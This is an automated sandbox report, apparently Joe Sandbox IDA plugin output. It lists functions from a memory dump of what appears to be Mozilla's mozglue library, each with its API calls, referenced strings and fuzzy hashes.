Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbe682bdf152fb4f694818bf8b9f19355ae4dd3a5cbe2762ca21d4f3fc655c26
Instruction ID: 4957a37969c57c938a1c1e8e031d12b142ee760988ed6ddd4ee8aa04ddd70ad8
Opcode Fuzzy Hash: cbe682bdf152fb4f694818bf8b9f19355ae4dd3a5cbe2762ca21d4f3fc655c26
Instruction Fuzzy Hash: DEA13870A04695CFDB24CF29D594A9AFBF1FF48304F44866ED84A97B00E730AA45CFA1

Function 6CB514A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB514C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB514E2
GetCurrentThreadId.KERNEL32 ref: 6CB51546
InitializeConditionVariable.KERNEL32(?), ref: 6CB515BA
free.MOZGLUE(?), ref: 6CB516B4

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: aa3321c4c6e251d79556cb557e6880939678b30f12797a2569e609fe090b866e
Instruction ID: dfa6cc7e802ce747c5b23ec359b0897519b4cc092e6f191ced81b1fdebff72ed
Opcode Fuzzy Hash: aa3321c4c6e251d79556cb557e6880939678b30f12797a2569e609fe090b866e
Instruction Fuzzy Hash: 4961E072A057949BDB118F24D880BEEB7B4FF89308F48851CED8A57701DB31E958CB92

Function 6CB4DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB4DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CB4D38A,?), ref: 6CB4DC6F
free.MOZGLUE(?,?,?,?,?,6CB4D38A,?), ref: 6CB4DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CB4D38A,?), ref: 6CB4DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CB4D38A,?), ref: 6CB4DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CB4D38A,?), ref: 6CB4DD4A

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a415bb5690e62903de2cb476d4ca62feee0df6f281d5fce2dddb148b2fde2677
Instruction ID: b85938f7a32c75e2bc6951284228a47e6cee89d8f42b4189c8551eff8d23d2bd
Opcode Fuzzy Hash: a415bb5690e62903de2cb476d4ca62feee0df6f281d5fce2dddb148b2fde2677
Instruction Fuzzy Hash: 27417AB5A04215CFCB00CFA9D88099EB7F5FF89304B558569D945ABB15D731FC00CB90

Function 6CB36590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CB2FA80: GetCurrentThreadId.KERNEL32 ref: 6CB2FA8D
Part of subcall function 6CB2FA80: AcquireSRWLockExclusive.KERNEL32(6CB7F448), ref: 6CB2FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB36727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CB367C8

Part of subcall function 6CB44290: memcpy.VCRUNTIME140(?,?,6CB52003,6CB50AD9,?,6CB50AD9,00000000,?,6CB50AD9,?,00000004,?,6CB51A62,?,6CB52003,?), ref: 6CB442C4

Strings

data, xrefs: 6CB36593

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 2c9b176ba4c70b2f703414c452c62533597007244774a543a760949385df901f
Instruction ID: cc4bd522b2eaccf77f2db9bfdc7313d4e5b0e7a0de0d62fabdd8cc264712cbb4
Opcode Fuzzy Hash: 2c9b176ba4c70b2f703414c452c62533597007244774a543a760949385df901f
Instruction Fuzzy Hash: 56D1CE75A083908FD724CF25D851BAEBBE5BFD5308F14892DE48987B91DB30A849CB53

Function 6CB2D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CAFEB57,?,?,?,?,?,?,?,?,?), ref: 6CB2D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CAFEB57,?), ref: 6CB2D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAFEB57,?), ref: 6CB2D673
free.MOZGLUE(?), ref: 6CB2D888

Strings

|Enabled, xrefs: 6CB2D81E

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: beb1139df915a347b99f968d3bb14c25eccc2ee95c41d2ad858494ce723decde
Instruction ID: fed2dd5dc506d1f0fede87b51949c55dbe9db3b238ba22c637a61d80e29e3341
Opcode Fuzzy Hash: beb1139df915a347b99f968d3bb14c25eccc2ee95c41d2ad858494ce723decde
Instruction Fuzzy Hash: 2AA1F470A042948FDB11CF79D490BEEBBF1EF49318F18805CD899AB741D739A845CBA1

Function 6CB2F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CB2F480

Part of subcall function 6CAFF100: LoadLibraryW.KERNEL32(shell32,?,6CB6D020), ref: 6CAFF122
Part of subcall function 6CAFF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAFF132

CloseHandle.KERNEL32(00000000), ref: 6CB2F555

Part of subcall function 6CB014B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CB01248,6CB01248,?), ref: 6CB014C9
Part of subcall function 6CB014B0: memcpy.VCRUNTIME140(?,6CB01248,00000000,?,6CB01248,?), ref: 6CB014EF

Part of subcall function 6CAFEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CAFEEE3

CreateFileW.KERNEL32 ref: 6CB2F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CB2F523

Strings

\oleacc.dll, xrefs: 6CB2F4CB

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 4013f0acd3e0f00b2af7a11c625ccc8f3e776e2019199d9908e949768c285dc7
Instruction ID: c253a6e7a8a5aad45aa4240f1be4cbca7855b038768d91c35c81302cfe18ce23
Opcode Fuzzy Hash: 4013f0acd3e0f00b2af7a11c625ccc8f3e776e2019199d9908e949768c285dc7
Instruction Fuzzy Hash: 8341A4306087A09FE721DF69C884AABB7F4EF44318F504A1CF99587650EB74D949CBA2

Function 6CB574A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB57526
__Init_thread_footer.LIBCMT ref: 6CB57566
__Init_thread_footer.LIBCMT ref: 6CB57597

Strings

kernel32.dll, xrefs: 6CB57557
UnmapViewOfFile2, xrefs: 6CB57552

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8d5d29432ae06c3f2f54e56ea0dbb6f1c2f28cb5390f12ae3c1bcc146e28a3cf
Instruction ID: 80c52f54f693ea022248b848d6bc610f751b0ab40f9a5b6e66fab3200e054241
Opcode Fuzzy Hash: 8d5d29432ae06c3f2f54e56ea0dbb6f1c2f28cb5390f12ae3c1bcc146e28a3cf
Instruction Fuzzy Hash: EE2125357115D19BCB268FE89819E993375EF4B334B408529DC05A7B80C778A9128BBA

Function 6CB5C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB5C0E9), ref: 6CB5C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB5C437
FreeLibrary.KERNEL32(?,6CB5C0E9), ref: 6CB5C44C

Strings

NtQueryVirtualMemory, xrefs: 6CB5C431
ntdll.dll, xrefs: 6CB5C413

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 9a52a2c20b8eebf09f0ab2c1dbfefdfbd2bdb7e0cfbcfbeb7d0798d90c7df02b
Instruction ID: d89e7cc3d9abe90726a593749c2931d9f5e582480358e8a489c5a82068e2592d
Opcode Fuzzy Hash: 9a52a2c20b8eebf09f0ab2c1dbfefdfbd2bdb7e0cfbcfbeb7d0798d90c7df02b
Instruction Fuzzy Hash: 8CE0B674605361DBDF027FB1C908B127BF9E70A21AF04451AEE1593740EBB0C4108F79

Function 6CB575B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB5748B,?), ref: 6CB575B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB575D7
FreeLibrary.KERNEL32(?,6CB5748B,?), ref: 6CB575EC

Strings

ntdll.dll, xrefs: 6CB575B3
RtlNtStatusToDosError, xrefs: 6CB575D1

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: f9186bc09bcc3e8a933f3ddeba83ea4b5725106285cbc183a3c057a3c2c4c278
Instruction ID: 95f6cb613bc85bb147be647fd26205e047735794e73803653defd4c9204c0006
Opcode Fuzzy Hash: f9186bc09bcc3e8a933f3ddeba83ea4b5725106285cbc183a3c057a3c2c4c278
Instruction Fuzzy Hash: C2E092B57143A1ABEB026FA2D8487027BF8EF16229F108429ED05D3700EBB984518F79

Function 6CB57600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB57592), ref: 6CB57608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CB57627
FreeLibrary.KERNEL32(?,6CB57592), ref: 6CB5763C

Strings

ntdll.dll, xrefs: 6CB57603
NtUnmapViewOfSection, xrefs: 6CB57621

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: b6b7f55add8277738a813ae839b65cdcbab77dfec7c58624eae03295086b792e
Instruction ID: 4b0a491c7e900f7400e13fc5fbe6935a7fbcb6d60c4e2a7cd0baa88c100548e1
Opcode Fuzzy Hash: b6b7f55add8277738a813ae839b65cdcbab77dfec7c58624eae03295086b792e
Instruction Fuzzy Hash: D3E0B6B47103A1ABDF026FA6D8487027BB8EB2A36AF108519ED15D3740E7B980108F39

Function 6CB48E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CB3B58D,?,?,?,?,?,?,?,6CB6D734,?,?,?,6CB6D734), ref: 6CB48E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB3B58D,?,?,?,?,?,?,?,6CB6D734,?,?,?,6CB6D734), ref: 6CB48EBF
free.MOZGLUE(?,?,?,?,6CB3B58D,?,?,?,?,?,?,?,6CB6D734,?,?,?), ref: 6CB48F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CB3B58D,?,?,?,?,?,?,?,6CB6D734,?,?,?,6CB6D734), ref: 6CB48F46
free.MOZGLUE(?,?,?,?,6CB3B58D,?,?,?,?,?,?,?,6CB6D734,?,?,?), ref: 6CB48F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CB3B58D,?,?,?,?,?,?,?,6CB6D734,?,?,?), ref: 6CB48F8F

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9c112390c2c026f1576f46c2d244289bd1552a38e91a860bed301229f8ceef54
Instruction ID: e3d565241b01f69abbd149998e45ed5a148217c7b7b978249790620e6bf85c64
Opcode Fuzzy Hash: 9c112390c2c026f1576f46c2d244289bd1552a38e91a860bed301229f8ceef54
Instruction Fuzzy Hash: F55190B1A092568FEF10CF58D88066E77B6EB44308F15492AD916EB744E732F905CBD2

Function 6CAF4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAF4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAF4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAF4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAF4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAF4F1E

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: be1e40d59d0180f8219a9aaded97398a1a82f999d9c1ac63708b84103c5b3de5
Instruction ID: d040e8ba0ec14470b60450bcbe30ccbf909c762fe8032edb0dbd655bfb629c7c
Opcode Fuzzy Hash: be1e40d59d0180f8219a9aaded97398a1a82f999d9c1ac63708b84103c5b3de5
Instruction Fuzzy Hash: DF41D0716087019FD705CF29C98099BB7F4BF89344F148A2DF86A87B41DB30E99ACB91

Function 6CB01530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CB0152B,?,?,?,?,6CB01248,?), ref: 6CB0159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CB0152B,?,?,?,?,6CB01248,?), ref: 6CB015BC
moz_xmalloc.MOZGLUE(-00000001,?,6CB0152B,?,?,?,?,6CB01248,?), ref: 6CB015E7
free.MOZGLUE(?,?,?,?,?,?,6CB0152B,?,?,?,?,6CB01248,?), ref: 6CB01606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CB0152B,?,?,?,?,6CB01248,?), ref: 6CB01637

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: a9dac10cf487e37c6b39985585d6f131903528c23b63d09b55559929acd685a3
Instruction ID: b20a225d4a72060716c4487eddc64c71cdc4492084f879775d85f39d37781665
Opcode Fuzzy Hash: a9dac10cf487e37c6b39985585d6f131903528c23b63d09b55559929acd685a3
Instruction Fuzzy Hash: 9A31CC72B001548BC71C8E78D85146F7BA5FB8536872D076DE827DBBD4EB30D9058792

Function 6CB5AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CB6E330,?,6CB1C059), ref: 6CB5AD9D

Part of subcall function 6CB0CA10: malloc.MOZGLUE(?), ref: 6CB0CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CB6E330,?,6CB1C059), ref: 6CB5ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CB6E330,?,6CB1C059), ref: 6CB5AE01
GetLastError.KERNEL32(?,00000000,?,?,6CB6E330,?,6CB1C059), ref: 6CB5AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CB6E330,?,6CB1C059), ref: 6CB5AE3D

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 19e91c352b4a6481e4f13a3f4e07878ea41906786f04602cdfd62941bbd58cd7
Instruction ID: b62596aa89b97b414777956c21f39f16a5f91e05df4a08a05a659ab9302bb108
Opcode Fuzzy Hash: 19e91c352b4a6481e4f13a3f4e07878ea41906786f04602cdfd62941bbd58cd7
Instruction Fuzzy Hash: 8D312FB1A002559FDB10DF768C44ABBBBF8EF49614F554829E85AE7700E734A8048BB1

Function 6CB55EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CB6DCA0,?,?,?,6CB2E8B5,00000000), ref: 6CB55F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB2E8B5,00000000), ref: 6CB55F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CB2E8B5,00000000), ref: 6CB55F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CB2E8B5,00000000), ref: 6CB55F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CB2E8B5,00000000), ref: 6CB55FD6

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 9401ecd6a8e99560599703d178999747e3b72099a016cf776929e2d4abeeee30
Instruction ID: 9c9e1bf227bdb9465e1f521ddef0ee1191092cddfea62514008ee2e53ff847a3
Opcode Fuzzy Hash: 9401ecd6a8e99560599703d178999747e3b72099a016cf776929e2d4abeeee30
Instruction Fuzzy Hash: 45315A343006508FDB10CF29C898E2AB7F9FF89319BA44558F9568BB95C732EC55CB91

Function 6CAFB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CAFB532
moz_xmalloc.MOZGLUE(?), ref: 6CAFB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAFB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CAFB57E
free.MOZGLUE(00000000), ref: 6CAFB58F

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 634f5050e7023eda6dc9e44cc5f46658a887209fca5d2b731356bfc2ce1e7eca
Instruction ID: c68f375bcaada603c7cdb2cce523fe6d21f78901647d009fc47bf121ea8b0a01
Opcode Fuzzy Hash: 634f5050e7023eda6dc9e44cc5f46658a887209fca5d2b731356bfc2ce1e7eca
Instruction Fuzzy Hash: 1321F671A00205DBDB018F68DC40BAEBBB9FF42304F284129F829DB341E735D956C7A1

Function 6CB576C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

